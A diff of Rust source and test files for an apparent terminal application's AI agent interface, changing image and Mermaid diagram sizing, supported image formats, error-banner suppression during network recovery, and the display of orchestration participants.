|
||||
return None;
|
||||
@@ -1905,6 +1976,16 @@ fn can_render_blocklist_image(
|
||||
.is_some()
|
||||
}
|
||||
|
||||
#[cfg(target_arch = "wasm32")]
|
||||
fn should_load_blocklist_image_asset(asset_source: &AssetSource) -> bool {
|
||||
!matches!(asset_source, AssetSource::LocalFile { .. })
|
||||
}
|
||||
|
||||
#[cfg(not(target_arch = "wasm32"))]
|
||||
fn should_load_blocklist_image_asset(_: &AssetSource) -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
fn render_image_section<A: Action>(
|
||||
props: ImageSectionProps<'_, A>,
|
||||
app: &AppContext,
|
||||
@@ -2001,10 +2082,12 @@ fn render_inline_image_group_item<A: Action>(
|
||||
asset_source,
|
||||
indexed_image.image.markdown_source.clone(),
|
||||
VisualMarkdownBlockOptions {
|
||||
height: INLINE_IMAGE_HEIGHT,
|
||||
width: Some(width),
|
||||
sizing: VisualMarkdownSizing::FixedHeight {
|
||||
height: INLINE_IMAGE_HEIGHT,
|
||||
width: Some(width),
|
||||
max_width: None,
|
||||
},
|
||||
copy_action_factory: render_context.copy_action_factory,
|
||||
max_width: None,
|
||||
alignment: VisualMarkdownAlignment::Left,
|
||||
lightbox_trigger: lightbox_trigger_for_section(
|
||||
render_context.lightbox_collection,
|
||||
@@ -2094,10 +2177,12 @@ fn render_block_image_group_row<A: Action>(
|
||||
asset_source,
|
||||
indexed_image.image.markdown_source.clone(),
|
||||
VisualMarkdownBlockOptions {
|
||||
height: BLOCK_IMAGE_THUMBNAIL_SIZE,
|
||||
width: Some(BLOCK_IMAGE_THUMBNAIL_SIZE),
|
||||
sizing: VisualMarkdownSizing::FixedHeight {
|
||||
height: BLOCK_IMAGE_THUMBNAIL_SIZE,
|
||||
width: Some(BLOCK_IMAGE_THUMBNAIL_SIZE),
|
||||
max_width: None,
|
||||
},
|
||||
copy_action_factory: render_context.copy_action_factory,
|
||||
max_width: None,
|
||||
alignment: VisualMarkdownAlignment::Center,
|
||||
lightbox_trigger: lightbox_trigger_for_section(
|
||||
render_context.lightbox_collection,
|
||||
@@ -2158,14 +2243,23 @@ fn render_mermaid_diagram_section<A: Action>(
|
||||
}
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let sizing = if matches!(asset_state, AssetState::Loaded { .. }) {
|
||||
VisualMarkdownSizing::FitWidth {
|
||||
max_height: mermaid_section_max_height(app),
|
||||
}
|
||||
} else {
|
||||
VisualMarkdownSizing::FixedHeight {
|
||||
height: visual_section_height(app),
|
||||
width: None,
|
||||
max_width: None,
|
||||
}
|
||||
};
|
||||
let mermaid_block = render_visual_markdown_block(
|
||||
asset_source,
|
||||
diagram.markdown_source.clone(),
|
||||
VisualMarkdownBlockOptions {
|
||||
height: visual_section_height(app),
|
||||
width: None,
|
||||
sizing,
|
||||
copy_action_factory,
|
||||
max_width: visual_section_max_width(&asset_state, visual_section_height(app)),
|
||||
alignment: VisualMarkdownAlignment::Center,
|
||||
lightbox_trigger: lightbox_trigger_for_section(lightbox_collection, section_index),
|
||||
// Mermaid diagrams don't carry CommonMark image titles.
|
||||
@@ -2226,15 +2320,30 @@ fn render_visual_markdown_block<A: Action>(
|
||||
.contain()
|
||||
.before_load(placeholder)
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Pixels(8.)));
|
||||
let mut content = ConstrainedBox::new(Box::new(image)).with_height(options.height);
|
||||
if let Some(width) = finite_positive_visual_size(options.width) {
|
||||
content = content.with_width(width);
|
||||
} else if let Some(max_width) = finite_positive_visual_size(options.max_width) {
|
||||
content = content.with_max_width(max_width);
|
||||
} else if let Some(fallback_width) = finite_positive_visual_size(Some(options.height)) {
|
||||
content = content.with_width(fallback_width);
|
||||
}
|
||||
let content = content.finish();
|
||||
let content = match options.sizing {
|
||||
VisualMarkdownSizing::FixedHeight {
|
||||
height,
|
||||
width,
|
||||
max_width,
|
||||
} => {
|
||||
let mut content = ConstrainedBox::new(Box::new(image)).with_height(height);
|
||||
if let Some(width) = finite_positive_visual_size(width) {
|
||||
content = content.with_width(width);
|
||||
} else if let Some(max_width) = finite_positive_visual_size(max_width) {
|
||||
content = content.with_max_width(max_width);
|
||||
} else if let Some(fallback_width) = finite_positive_visual_size(Some(height)) {
|
||||
content = content.with_width(fallback_width);
|
||||
}
|
||||
content.finish()
|
||||
}
|
||||
VisualMarkdownSizing::FitWidth { max_height } => {
|
||||
let mut content = ConstrainedBox::new(Box::new(image.layout_using_paint_bounds()));
|
||||
if let Some(max_height) = finite_positive_visual_size(Some(max_height)) {
|
||||
content = content.with_max_height(max_height);
|
||||
}
|
||||
content.finish()
|
||||
}
|
||||
};
|
||||
let content = match options.alignment {
|
||||
VisualMarkdownAlignment::Left => Align::new(content).left().finish(),
|
||||
VisualMarkdownAlignment::Center => Align::new(content).finish(),
|
||||
@@ -2384,17 +2493,24 @@ fn is_supported_blocklist_image_source(source: &str) -> bool {
|
||||
.map(|ext| {
|
||||
matches!(
|
||||
ext.to_ascii_lowercase().as_str(),
|
||||
"jpg" | "jpeg" | "png" | "gif" | "webp" | "svg"
|
||||
"jpg" | "jpeg" | "png" | "gif" | "bmp" | "tiff" | "tif" | "webp" | "ico" | "svg"
|
||||
)
|
||||
})
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
fn visual_section_height(app: &AppContext) -> f32 {
|
||||
blocklist_base_line_height(app) * BLOCKLIST_VISUAL_SECTION_HEIGHT_LINE_MULTIPLIER
|
||||
}
|
||||
|
||||
fn mermaid_section_max_height(app: &AppContext) -> f32 {
|
||||
blocklist_base_line_height(app) * BLOCKLIST_MERMAID_MAX_HEIGHT_LINE_MULTIPLIER
|
||||
}
|
||||
|
||||
fn blocklist_base_line_height(app: &AppContext) -> f32 {
|
||||
rich_text_styles(Appearance::as_ref(app), FontSettings::as_ref(app))
|
||||
.base_line_height()
|
||||
.as_f32()
|
||||
* BLOCKLIST_VISUAL_SECTION_HEIGHT_LINE_MULTIPLIER
|
||||
}
|
||||
|
||||
const TABLE_BLOCK_CORNER_RADIUS: f32 = 8.0;
|
||||
@@ -2724,6 +2840,8 @@ pub struct CodeSectionProps<'a, A: 'static> {
|
||||
pub working_directory: Option<&'a String>,
|
||||
pub open_code_block_action_factory: Option<OpenCodeBlockActionFactory<A>>,
|
||||
pub copy_code_action_factory: Option<CopyCodeActionFactory<A>>,
|
||||
/// Whether the code block text should be selectable within the parent SelectableArea.
|
||||
pub selectable: bool,
|
||||
/// Pre-resolved code block file paths from the background detection task.
|
||||
/// Keyed by original path; value is the resolved absolute path (or None if unresolvable).
|
||||
#[cfg(feature = "local_fs")]
|
||||
@@ -2925,6 +3043,7 @@ pub fn render_code_output_section<A: Action>(
|
||||
footer_element: language_text,
|
||||
mouse_handles: props.button_handles.cloned(),
|
||||
},
|
||||
props.selectable,
|
||||
app,
|
||||
source,
|
||||
)
|
||||
@@ -2939,12 +3058,8 @@ pub fn get_highlight_ranges_for_find_matches(
|
||||
) -> impl Iterator<Item = HighlightedRange> {
|
||||
let find_match_locations = find_state.matches_for_location(location);
|
||||
let focused_match_location = find_model
|
||||
.block_list_find_run()
|
||||
.and_then(|run| match run.focused_match() {
|
||||
Some(BlockListMatch::RichContent { match_id, .. }) => Some(match_id),
|
||||
_ => None,
|
||||
})
|
||||
.and_then(|match_id| find_state.location_for_match(*match_id));
|
||||
.focused_rich_content_match_id()
|
||||
.and_then(|match_id| find_state.location_for_match(match_id));
|
||||
let mut highlighted_ranges = vec![];
|
||||
for find_match_location in find_match_locations {
|
||||
let is_focused_match =
|
||||
@@ -3019,17 +3134,33 @@ pub struct FailedOutputProps<'a> {
|
||||
pub fn render_failed_output(props: FailedOutputProps, app: &AppContext) -> Box<dyn Element> {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
|
||||
let error_text = match props.error {
|
||||
RenderableAIError::QuotaLimit => {
|
||||
let ai_request_usage_model = AIRequestUsageModel::as_ref(app);
|
||||
let formatted_next_refresh_time = ai_request_usage_model
|
||||
.next_refresh_time()
|
||||
.format("%B %d")
|
||||
.to_string();
|
||||
// While an automatic retry/resume is still in flight, don't surface the underlying
|
||||
// transport failure at all. These are typically transient and recover on their own,
|
||||
// so showing the alarming "Warp lost connection" banner (plus debug info) for every
|
||||
// blip is noisy and misleading. Render nothing during in-flight recovery; the full
|
||||
// error banner is only shown once recovery has actually failed. Dogfood builds
|
||||
// (Local/Dev) opt out so developers still see every transport failure aggressively.
|
||||
if props.error.should_suppress_during_recovery() {
|
||||
return Empty::new().finish();
|
||||
}
|
||||
|
||||
format!(
|
||||
"{ERROR_APOLOGY_TEXT}\n\nYou've reached your credit limit. Your credit limit resets on {formatted_next_refresh_time}.",
|
||||
)
|
||||
let error_text = match props.error {
|
||||
RenderableAIError::QuotaLimit {
|
||||
user_display_message,
|
||||
} => {
|
||||
if let Some(message) = user_display_message {
|
||||
format!("{ERROR_APOLOGY_TEXT}\n\n{message}")
|
||||
} else {
|
||||
let ai_request_usage_model = AIRequestUsageModel::as_ref(app);
|
||||
let formatted_next_refresh_time = ai_request_usage_model
|
||||
.next_refresh_time()
|
||||
.format("%B %d")
|
||||
.to_string();
|
||||
|
||||
format!(
|
||||
"{ERROR_APOLOGY_TEXT}\n\nYou've reached your credit limit. Your credit limit resets on {formatted_next_refresh_time}.",
|
||||
)
|
||||
}
|
||||
}
|
||||
RenderableAIError::ServerOverloaded => {
|
||||
"Warp is currently overloaded. Please try again later.".to_string()
|
||||
@@ -3037,22 +3168,19 @@ pub fn render_failed_output(props: FailedOutputProps, app: &AppContext) -> Box<d
|
||||
RenderableAIError::InternalWarpError => {
|
||||
format!("{ERROR_APOLOGY_TEXT}\n\n{INTERNAL_WARP_ERROR}")
|
||||
}
|
||||
RenderableAIError::Other {
|
||||
error_message,
|
||||
will_attempt_resume,
|
||||
waiting_for_network,
|
||||
} => {
|
||||
if *will_attempt_resume {
|
||||
if *waiting_for_network {
|
||||
format!(
|
||||
"{error_message}\n\nWill resume conversation when network connectivity is restored..."
|
||||
)
|
||||
} else {
|
||||
format!("{error_message}\n\nAttempting to resume conversation...")
|
||||
}
|
||||
} else {
|
||||
format!("{ERROR_APOLOGY_TEXT}\n\n{error_message}")
|
||||
}
|
||||
RenderableAIError::Other { error_message, .. } => {
|
||||
// A still-recovering `Other` error is handled by the early return above; once we
|
||||
// reach here recovery has failed, so surface the error directly.
|
||||
format!("{ERROR_APOLOGY_TEXT}\n\n{error_message}")
|
||||
}
|
||||
RenderableAIError::AgentExitedShell => {
|
||||
format!("{ERROR_APOLOGY_TEXT}\n\n{}", props.error)
|
||||
}
|
||||
RenderableAIError::TransientNetworkError { .. } => {
|
||||
// Recovering transient errors are handled by the early return above; once we
|
||||
// reach here recovery has failed. These carry their own complete user-facing
|
||||
// copy (plus debug info), so the apology prefix adds nothing.
|
||||
props.error.to_string()
|
||||
}
|
||||
RenderableAIError::InvalidApiKey {
|
||||
provider,
|
||||
@@ -3483,7 +3611,6 @@ const USER_AVATAR_PALETTE: &[ColorU] = &[
|
||||
];
|
||||
|
||||
fn session_avatar_color() -> ColorU {
|
||||
use rand::Rng;
|
||||
use std::sync::OnceLock;
|
||||
static COLOR: OnceLock<ColorU> = OnceLock::new();
|
||||
*COLOR.get_or_init(|| {
|
||||
@@ -3528,13 +3655,28 @@ pub struct UserQueryProps<'a> {
|
||||
pub find_context: Option<FindContext<'a>>,
|
||||
pub font_properties: &'a Properties,
|
||||
}
|
||||
pub(crate) fn user_query_mode_prefix_highlight_len(mode: UserQueryMode) -> Option<usize> {
|
||||
match mode {
|
||||
UserQueryMode::Normal => None,
|
||||
UserQueryMode::Plan => Some(commands::PLAN.name.len()),
|
||||
UserQueryMode::Orchestrate => Some(commands::ORCHESTRATE.name.len()),
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn query_prefix_highlight_len(
|
||||
input: &AIAgentInput,
|
||||
displayed_query: &str,
|
||||
) -> Option<usize> {
|
||||
if displayed_query.starts_with(commands::PLAN.name) {
|
||||
Some(commands::PLAN.name.len())
|
||||
} else if displayed_query.starts_with(commands::CREATE_ENVIRONMENT.name) {
|
||||
if let AIAgentInput::UserQuery {
|
||||
user_query_mode, ..
|
||||
} = input
|
||||
{
|
||||
if let Some(prefix_len) = user_query_mode_prefix_highlight_len(*user_query_mode) {
|
||||
return Some(prefix_len);
|
||||
}
|
||||
}
|
||||
|
||||
if displayed_query.starts_with(commands::CREATE_ENVIRONMENT.name) {
|
||||
Some(commands::CREATE_ENVIRONMENT.name.len())
|
||||
} else if displayed_query.starts_with(commands::AGENT.name) {
|
||||
Some(commands::AGENT.name.len())
|
||||
@@ -3558,7 +3700,8 @@ pub(super) fn query_prefix_highlight_len(
|
||||
| AIAgentInput::ActionResult { .. }
|
||||
| AIAgentInput::MessagesReceivedFromAgents { .. }
|
||||
| AIAgentInput::EventsFromAgents { .. }
|
||||
| AIAgentInput::PassiveSuggestionResult { .. } => None,
|
||||
| AIAgentInput::PassiveSuggestionResult { .. }
|
||||
| AIAgentInput::OrchestrationConfigUpdate { .. } => None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,36 +1,38 @@
|
||||
use itertools::Itertools;
|
||||
use std::{collections::HashMap, path::PathBuf, sync::Arc, time::Duration};
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
|
||||
use ai::skills::{ParsedSkill, SkillProvider, SkillScope};
|
||||
use itertools::Itertools;
|
||||
use ui_components::lightbox::{LightboxImage, LightboxImageSource};
|
||||
use warp_util::local_or_remote_path::LocalOrRemotePath;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxyui::assets::asset_cache::AssetSource;
|
||||
use galaxyui::App;
|
||||
use galaxyui::elements::{Empty, MouseStateHandle};
|
||||
use galaxyui::{App, Element};
|
||||
|
||||
#[cfg(feature = "local_fs")]
|
||||
use super::{blocklist_image_asset_source, ResolvedBlocklistImageSources};
|
||||
use super::{
|
||||
collect_visual_markdown_lightbox_collection, compute_visual_section_width,
|
||||
format_elapsed_compact, inline_image_source_label, lightbox_trigger_for_section,
|
||||
query_prefix_highlight_len, render_scrollable_collapsible_content, text_sections_with_indices,
|
||||
image_tooltip_handles_for_group, inline_image_source_label,
|
||||
is_supported_blocklist_image_source, lightbox_trigger_for_section, query_prefix_highlight_len,
|
||||
render_scrollable_collapsible_content, text_sections_with_indices, warping_footer_height,
|
||||
CollapsibleElementState, CollapsibleExpansionState, VisualMarkdownLightboxCollection,
|
||||
};
|
||||
use crate::{
|
||||
ai::agent::{
|
||||
AIAgentInput, AIAgentTextSection, AgentOutputImage, AgentOutputImageLayout,
|
||||
AgentOutputMermaidDiagram, MessageId, UserQueryMode,
|
||||
},
|
||||
features::FeatureFlag,
|
||||
search::slash_command_menu::static_commands::commands,
|
||||
use crate::ai::agent::{
|
||||
AIAgentInput, AIAgentTextSection, AgentOutputImage, AgentOutputImageLayout,
|
||||
AgentOutputMermaidDiagram, MessageId, UserQueryMode,
|
||||
};
|
||||
use galaxyui::{elements::Empty, Element};
|
||||
use ui_components::lightbox::{LightboxImage, LightboxImageSource};
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::search::slash_command_menu::static_commands::commands;
|
||||
|
||||
#[test]
|
||||
fn query_prefix_highlight_len_highlights_invoke_skill_inputs() {
|
||||
let input = AIAgentInput::InvokeSkill {
|
||||
context: Arc::new([]),
|
||||
skill: ParsedSkill {
|
||||
path: PathBuf::from("/tmp/.agents/skills/review-pr/SKILL.md"),
|
||||
path: LocalOrRemotePath::Local(PathBuf::from("/tmp/.agents/skills/review-pr/SKILL.md")),
|
||||
name: "review-pr".to_string(),
|
||||
description: "Review a pull request.".to_string(),
|
||||
content: String::new(),
|
||||
@@ -126,6 +128,17 @@ fn text_sections_with_indices_preserve_image_section_alignment_after_empty_text_
|
||||
assert_eq!(rendered_image_indices, vec![2, 4]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn image_tooltip_handles_for_group_uses_available_handles_only() {
|
||||
let handles = [MouseStateHandle::default(), MouseStateHandle::default()];
|
||||
|
||||
assert_eq!(image_tooltip_handles_for_group(&handles, 0, 1).len(), 1);
|
||||
assert_eq!(image_tooltip_handles_for_group(&handles, 1, 4).len(), 1);
|
||||
assert_eq!(image_tooltip_handles_for_group(&handles, 2, 1).len(), 0);
|
||||
assert_eq!(image_tooltip_handles_for_group(&handles, 3, 1).len(), 0);
|
||||
assert_eq!(image_tooltip_handles_for_group(&[], 1, 1).len(), 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn render_scrollable_collapsible_content_returns_none_when_collapsed() {
|
||||
let state = CollapsibleElementState {
|
||||
@@ -148,6 +161,26 @@ fn render_scrollable_collapsible_content_returns_none_when_collapsed() {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn warping_footer_height_reserves_a_line_for_the_secondary_element() {
|
||||
// Regression: the warping indicator's footer is a fixed-height, clipped
|
||||
// container. When an agent tip (or fallback-model explanation) is present it
|
||||
// renders on a second line, so the footer must be taller than the
|
||||
// single-line case — otherwise the clip (added to keep action chips from
|
||||
// overflowing narrow panes) hides the tip entirely.
|
||||
let font_size = 13.;
|
||||
let without_tip = warping_footer_height(font_size, false);
|
||||
let with_tip = warping_footer_height(font_size, true);
|
||||
|
||||
assert!(
|
||||
with_tip > without_tip,
|
||||
"footer with a secondary element ({with_tip}) should be taller than without ({without_tip})",
|
||||
);
|
||||
// The extra room must cover the secondary line: its font size
|
||||
// (monospace_font_size - 3) plus the 1px top margin on the tip container.
|
||||
assert_eq!(with_tip - without_tip, (font_size - 3.) + 1.);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn compute_visual_section_width_rejects_non_finite_dimensions() {
|
||||
assert_eq!(compute_visual_section_width(f32::INFINITY, 20., 40.), None);
|
||||
@@ -278,6 +311,7 @@ fn blocklist_image_asset_source_uses_cached_resolution_when_available() {
|
||||
"diagram.png".to_string(),
|
||||
Some(AssetSource::LocalFile {
|
||||
path: cached_path.clone(),
|
||||
content_version: None,
|
||||
}),
|
||||
)]);
|
||||
|
||||
@@ -288,34 +322,47 @@ fn blocklist_image_asset_source_uses_cached_resolution_when_available() {
|
||||
);
|
||||
|
||||
match resolved {
|
||||
Some(AssetSource::LocalFile { path }) => assert_eq!(path, cached_path),
|
||||
Some(AssetSource::LocalFile { path, .. }) => assert_eq!(path, cached_path),
|
||||
other => panic!("expected cached local file asset source, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
/// `is_supported_blocklist_image_source` should accept the same image extensions
|
||||
/// that `galaxy_util::file_type::is_binary_file` recognises (plus `svg`, which is
|
||||
/// text/XML and not in `is_binary_file`). Until #9395 / this fix landed the
|
||||
/// blocklist list was only `jpg | jpeg | png | gif | webp | svg`, so inline
|
||||
/// references to local `.bmp` / `.tiff` / `.tif` / `.ico` images failed the
|
||||
/// support check and silently rendered as plain text.
|
||||
#[test]
|
||||
fn format_elapsed_compact_shows_seconds_under_one_minute() {
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(0)), "0s");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(1)), "1s");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(42)), "42s");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(59)), "59s");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_elapsed_compact_shows_minutes_under_120_minutes() {
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(60)), "1m");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(90)), "1m");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(120)), "2m");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(45 * 60)), "45m");
|
||||
assert_eq!(
|
||||
format_elapsed_compact(Duration::from_secs(119 * 60 + 59)),
|
||||
"119m"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_elapsed_compact_shows_hours_at_120_minutes_and_above() {
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(120 * 60)), "2h");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(180 * 60)), "3h");
|
||||
assert_eq!(format_elapsed_compact(Duration::from_secs(600 * 60)), "10h");
|
||||
fn is_supported_blocklist_image_source_covers_common_local_formats() {
|
||||
for source in [
|
||||
"diagram.jpg",
|
||||
"diagram.jpeg",
|
||||
"diagram.png",
|
||||
"diagram.gif",
|
||||
"diagram.bmp",
|
||||
"diagram.tiff",
|
||||
"diagram.tif",
|
||||
"diagram.webp",
|
||||
"diagram.ico",
|
||||
"diagram.svg",
|
||||
] {
|
||||
assert!(
|
||||
is_supported_blocklist_image_source(source),
|
||||
"{source} should be a supported local image source"
|
||||
);
|
||||
}
|
||||
// Case-insensitive on the extension.
|
||||
assert!(is_supported_blocklist_image_source("PHOTO.PNG"));
|
||||
assert!(is_supported_blocklist_image_source("scan.TIFF"));
|
||||
// HTTP / HTTPS sources are intentionally rejected regardless of extension.
|
||||
assert!(!is_supported_blocklist_image_source(
|
||||
"http://example.com/x.png"
|
||||
));
|
||||
assert!(!is_supported_blocklist_image_source(
|
||||
"https://example.com/x.png"
|
||||
));
|
||||
// Non-image extensions stay rejected.
|
||||
assert!(!is_supported_blocklist_image_source("doc.pdf"));
|
||||
assert!(!is_supported_blocklist_image_source("notes.md"));
|
||||
}
|
||||
|
||||
@@ -2,17 +2,13 @@
|
||||
//! when the query was submitted.
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_util::path::user_friendly_path;
|
||||
use galaxyui::elements::MouseStateHandle;
|
||||
use galaxyui::elements::{ChildView, Hoverable, SavePosition};
|
||||
use galaxyui::platform::Cursor;
|
||||
use galaxyui::EntityId;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Flex, MainAxisAlignment,
|
||||
MainAxisSize, ParentElement, Radius, Text,
|
||||
},
|
||||
AppContext, Element, SingletonEntity, ViewHandle,
|
||||
use galaxyui::elements::{
|
||||
ChildView, ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Flex, Hoverable,
|
||||
Icon as ElementIcon, MainAxisAlignment, MainAxisSize, MouseStateHandle, ParentElement, Radius,
|
||||
SavePosition, Text,
|
||||
};
|
||||
use warpui::platform::Cursor;
|
||||
use warpui::{AppContext, Element, EntityId, SingletonEntity, ViewHandle};
|
||||
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::AIAgentExchangeId;
|
||||
@@ -26,7 +22,6 @@ use crate::terminal::view::{TerminalAction, WARP_PROMPT_HEIGHT_LINES};
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::view_components::action_button::ActionButton;
|
||||
use galaxyui::elements::Icon as ElementIcon;
|
||||
|
||||
/// Data required to render the AI block header.
|
||||
pub(super) struct Props<'a> {
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
use crate::ai::blocklist::block::ImportedCommentGroup;
|
||||
use galaxyui::elements::{CrossAxisAlignment, Flex, ParentElement};
|
||||
use galaxyui::prelude::ChildView;
|
||||
use galaxyui::{AppContext, Element};
|
||||
|
||||
use crate::ai::blocklist::block::ImportedCommentGroup;
|
||||
|
||||
pub(crate) fn render_imported_comments(
|
||||
group: &ImportedCommentGroup,
|
||||
app: &AppContext,
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
use std::collections::{HashMap, HashSet};
|
||||
|
||||
use crate::ai::blocklist::block::CommentElementState;
|
||||
use crate::code_review::comments::CommentId;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
|
||||
#[derive(Copy, Clone)]
|
||||
pub(super) struct Props<'a> {
|
||||
|
||||
@@ -1,27 +1,34 @@
|
||||
//! Rendering functions for orchestration-related output items (messaging & agent management).
|
||||
|
||||
use markdown_parser::{FormattedText, FormattedTextFragment, FormattedTextLine};
|
||||
use pathfinder_color::ColorU;
|
||||
use galaxyui::elements::{
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty, Flex, Hoverable,
|
||||
MouseStateHandle, ParentElement, Radius, Text,
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty, Flex, FormattedTextElement,
|
||||
Hoverable, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
};
|
||||
use galaxyui::platform::Cursor;
|
||||
use galaxyui::{AppContext, Element, SingletonEntity};
|
||||
use pathfinder_color::ColorU;
|
||||
|
||||
use galaxyui::elements::FormattedTextElement;
|
||||
use markdown_parser::{FormattedText, FormattedTextFragment, FormattedTextLine};
|
||||
|
||||
use crate::ai::agent::conversation::{AIConversation, AIConversationId, ConversationStatus};
|
||||
use super::common::render_scrollable_collapsible_content;
|
||||
use super::output::{action_icon, Props};
|
||||
use super::WithContentItemSpacing;
|
||||
use crate::ai::agent::conversation::{
|
||||
AIConversation, AIConversationId, ConversationStatus, StatusColorStyle,
|
||||
};
|
||||
use crate::ai::agent::{
|
||||
AIAgentActionId, AIAgentActionResultType, MessageId, ReceivedMessageDisplay,
|
||||
SendMessageToAgentResult, StartAgentExecutionMode, StartAgentResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::AIActionStatus;
|
||||
use crate::ai::blocklist::agent_view::orchestration_avatar::OrchestrationAvatar;
|
||||
use crate::ai::blocklist::agent_view::orchestration_conversation_links::{
|
||||
conversation_id_for_agent_id, conversation_navigation_card_with_icon,
|
||||
dispatch_focus_or_open_child_agent_pane,
|
||||
};
|
||||
use crate::ai::blocklist::block::model::AIBlockModelHelper;
|
||||
use crate::ai::blocklist::block::{AIBlockAction, CollapsibleExpansionState};
|
||||
use crate::ai::blocklist::block::{
|
||||
received_message_collapsible_id, AIBlockAction, CollapsibleExpansionState,
|
||||
};
|
||||
use crate::ai::blocklist::inline_action::inline_action_header::{
|
||||
ICON_MARGIN, INLINE_ACTION_HEADER_VERTICAL_PADDING, INLINE_ACTION_HORIZONTAL_PADDING,
|
||||
};
|
||||
@@ -35,31 +42,92 @@ use crate::terminal::view::TerminalAction;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
|
||||
use super::common::render_scrollable_collapsible_content;
|
||||
use super::output::{action_icon, Props};
|
||||
use super::WithContentItemSpacing;
|
||||
|
||||
const GENERATING_TITLE_PLACEHOLDER: &str = "Generating title...";
|
||||
const ORCHESTRATION_COLLAPSED_MAX_HEIGHT: f32 = 200.;
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
struct OrchestrationParticipant {
|
||||
display_name: String,
|
||||
avatar: OrchestrationAvatar,
|
||||
/// The participant's conversation, when resolved. `None` for the
|
||||
/// orchestrator and unknown agents (avatar stays non-clickable).
|
||||
conversation_id: Option<AIConversationId>,
|
||||
}
|
||||
|
||||
impl OrchestrationParticipant {
|
||||
fn orchestrator() -> Self {
|
||||
Self {
|
||||
display_name: "Orchestrator".to_string(),
|
||||
avatar: OrchestrationAvatar::Orchestrator,
|
||||
conversation_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn unknown_child() -> Self {
|
||||
Self {
|
||||
display_name: "Unknown agent".to_string(),
|
||||
avatar: OrchestrationAvatar::agent("Unknown agent".to_string()),
|
||||
conversation_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn is_orchestrator(&self) -> bool {
|
||||
matches!(&self.avatar, OrchestrationAvatar::Orchestrator)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
fn agent_display_name_from_id(
|
||||
agent_id: &str,
|
||||
orchestrator_agent_id: Option<&str>,
|
||||
app: &AppContext,
|
||||
) -> String {
|
||||
if orchestrator_agent_id.is_some_and(|id| id == agent_id) {
|
||||
return "Orchestrator agent".to_string();
|
||||
}
|
||||
participant_for_agent_id(agent_id, orchestrator_agent_id, app).display_name
|
||||
}
|
||||
|
||||
fn participant_for_agent_id(
|
||||
agent_id: &str,
|
||||
orchestrator_agent_id: Option<&str>,
|
||||
app: &AppContext,
|
||||
) -> OrchestrationParticipant {
|
||||
if let Some(conversation_id) = conversation_id_for_agent_id(agent_id, app) {
|
||||
if let Some(conversation) =
|
||||
BlocklistAIHistoryModel::as_ref(app).conversation(&conversation_id)
|
||||
{
|
||||
if let Some(agent_name) = conversation.agent_name() {
|
||||
return agent_name.to_string();
|
||||
}
|
||||
return participant_for_conversation(
|
||||
conversation,
|
||||
orchestrator_agent_id,
|
||||
Some(agent_id),
|
||||
);
|
||||
}
|
||||
}
|
||||
"Unknown agent".to_string()
|
||||
if orchestrator_agent_id.is_some_and(|id| id == agent_id) {
|
||||
return OrchestrationParticipant::orchestrator();
|
||||
}
|
||||
OrchestrationParticipant::unknown_child()
|
||||
}
|
||||
|
||||
fn participant_for_conversation(
|
||||
conversation: &AIConversation,
|
||||
orchestrator_agent_id: Option<&str>,
|
||||
agent_id: Option<&str>,
|
||||
) -> OrchestrationParticipant {
|
||||
let is_orchestrator = agent_id
|
||||
.map(|id| {
|
||||
orchestrator_agent_id.is_some_and(|orchestrator_id| id == orchestrator_id)
|
||||
|| (orchestrator_agent_id.is_none()
|
||||
&& conversation.parent_conversation_id().is_none())
|
||||
})
|
||||
.unwrap_or_else(|| conversation.parent_conversation_id().is_none());
|
||||
if is_orchestrator {
|
||||
return OrchestrationParticipant::orchestrator();
|
||||
}
|
||||
|
||||
let display_name = conversation.agent_name().unwrap_or("Agent").to_string();
|
||||
OrchestrationParticipant {
|
||||
display_name: display_name.clone(),
|
||||
avatar: OrchestrationAvatar::agent(display_name),
|
||||
conversation_id: Some(conversation.id()),
|
||||
}
|
||||
}
|
